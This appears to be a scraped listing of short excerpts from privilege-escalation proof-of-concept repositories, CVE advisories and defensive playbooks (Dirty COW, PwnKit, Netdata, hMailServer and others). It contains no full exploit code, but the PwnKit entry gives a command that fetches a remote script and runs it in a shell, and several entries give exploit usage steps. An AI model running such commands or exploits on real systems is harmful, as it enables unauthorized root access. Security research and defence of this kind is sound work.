cve-2013-2094

= CVE-2013-2094 code for http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ == How to build You need to build the C file of your choice like this: gcc -O2 file-name.c -O2 is required due to how the exploit actually works see the blog post for more...

Exploit-Dirty-Cow

Exploit - Dirty Cow CVE-2016-5195 Privilege Escalation Lab | Linux Kernel Exploit 📋 Overview Hands-on lab reproducing the DirtyCow vulnerability CVE-2016-5195, a critical race condition found in the Linux kernel that allows unprivileged users to gain write access to read-only memory mappings,...

dirtycow

✅ Requirements / Affected Kernel Version Dirty COW adalah Local Privilege Escalation LPE di Linux kernel yang dikenal sebagai CVE-2016-5195. :contentReferenceoaicite:0index=0 🎯 Vulnerable Kernel Secara umum, Dirty COW berdampak pada Linux kernel 2.x sampai 4.x sebelum 4.8.3...

PwnKit

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...

CVE-2022-34918-LPE-PoC

CVE-2022-34918 LPE PoC LPE exploit for CVE-2022-34918. This exploit has been written for the kernel Linux ubuntu 5.15.0-39-generic You can find the associated write-up on our blog Usage getroot should be in the current folder $ ls getroot poc $ ./poc License Copyright 2022, RandoriSec...

CVE-2022-23648-POC

PoC for CVE-2022-23648 This is a proof of concept for @fel1x's CVE-2022-23648. Disclosure info here, CVE info here and a blog with some more information and mitigation ideas here. The Containerfile has the info. needed, and you can change the target of the VOLUME to try out different paths. Easie...

Reproducing-CVE-2023-36802

Analysis of CVE-2023-36802 Welcome to my write‑up & walkthrough of CVE‑2023‑36802, a local privilege escalation vulnerability in the Microsoft Kernel Streaming Server mskssrv.sys. What was this CVE about? The bug lived in mskssrv.sys, a driver that helps Windows handle multimedia streaming e.g.,...

TryHackMe-CVE-2022-26923

TryHackMe-CVE-2022-26923 Walkthrough on the exploitation of CVE-2022-26923, a vulnerability in AD Certificate Services CVE-2022-26923 TryHackMe | CVE-2022-26923 Task 1 Introduction Security Update Guide - Microsoft Security Response Center TryHackMe | Active Directory Basics Certified Pre-Owned...

litespeed-cache-xss-poc

LiteSpeed Cache XSS PoC PoC for XSS vulnerability in the LiteSpeed Cache WordPress plugin allowing elevated privileges. This vulnerability was fixed in version 5.7.0.1 of the plugin, and was assigned CVE-2023-40000. According to the plugin's advanced view page, about 35% of users are still using ...

Patch-the-Path-CVE-2025-55234-Detection-Defense

Patch-the-Path-CVE-2025-55234-Detection-Defense This playbook outlines detection, containment, and remediation strategies for CVE-2025-55234, a critical Windows SMB privilege escalation flaw. By Mark Mallia Introduction In today’s constantly shifting cyber-risk landscape, the ability to pivot fro...

litespeed-cpanel-cve-2026-54420-fix

CVE-2026-54420 Mitigation Toolkit Defensive remediation, auditing, and verification toolkit for CVE-2026-54420 affecting LiteSpeed cPanel Plugin in shared hosting environments using CloudLinux / CageFS. ⚠️ Security Notice This repository is intended for system administrators, hosting providers, an...

CVE-2026-107578 Improper Link Resolution Before File Access ('Link Following') in hMailServer

Improper link resolution and external control of file paths in the administrative command-line operations of hMailServer.exe in Progressive Robot hMailServer 6.3.4 and 6.3.5 allow a local attacker who already runs code as the low-privilege service account to escalate privilege. On Windows,...

CVE-2026-107578

Progressive Robot hMailServer versions 6.3.4 and 6.3.5 are vulnerable to local privilege escalation due to improper link resolution and external control of file paths in the hMailServer.exe administrative command-line operations. On Windows , a local attacker controlling the low-privilege service...

EUVD-2026-94860

Improper link resolution and external control of file paths in the administrative command-line operations of hMailServer.exe in Progressive Robot hMailServer 6.3.4 and 6.3.5 allow a local attacker who already runs code as the low-privilege service account to escalate privilege. On Windows,...

CVE-2026-107578 Improper Link Resolution Before File Access ('Link Following') in hMailServer

Improper link resolution and external control of file paths in the administrative command-line operations of hMailServer.exe in Progressive Robot hMailServer 6.3.4 and 6.3.5 allow a local attacker who already runs code as the low-privilege service account to escalate privilege. On Windows,...

needrestart-sudo-escalate-cve-2024-4890

CVE-2024-4890: needrestart Sudo Privilege Escalation PoC Disclaimer For lab-only use in controlled environments. Do not exploit on production systems without explicit authorization. This PoC is for educational purposes only. The author is not responsible for any misuse or unauthorized access...

CVE-2025-14736

CVE-2025-14736 Frontend Admin by DynamiApps - Unauthenticated Privilege Escalation Author: Hyun Chiya Vulnerability Information Field| Value ---|--- CVE ID| CVE-2025-14736 Plugin| Frontend Admin by DynamiApps Affected Versions| B"Extract Nonce acfnonce & Form ID acfform" B -- C"Construct POST...

CVE-2025-40602

CVE-2025-40602 📌 Overview CVE-2025-40602 is a local privilege escalation vulnerability affecting SonicWall Secure Mobile Access SMA 1000 series appliances. The flaw exists in the Appliance Management Console AMC due to insufficient authorization checks , allowing an authenticated low-privileged...

CVE-2026-98364

A flaw was found in the Linux kernel's IPsec XFRM networking subsystem. A race condition occurs when creating policy bundles while a network device is concurrently removed, leading to a use-after-free condition where the kernel accesses already-freed device memory. A local attacker can exploit th...

CVE-2024-32019-ndsudo-local-privilege-escalation-NetData

CVE-2024-32019 Proof of Concept Python A Python implementation of the Local Privilege Escalation LPE exploit for Netdata CVE-2024-32019. This script exploits a vulnerability in the ndsudo component where the PATH environment variable is not properly sanitized. This allows a local attacker to...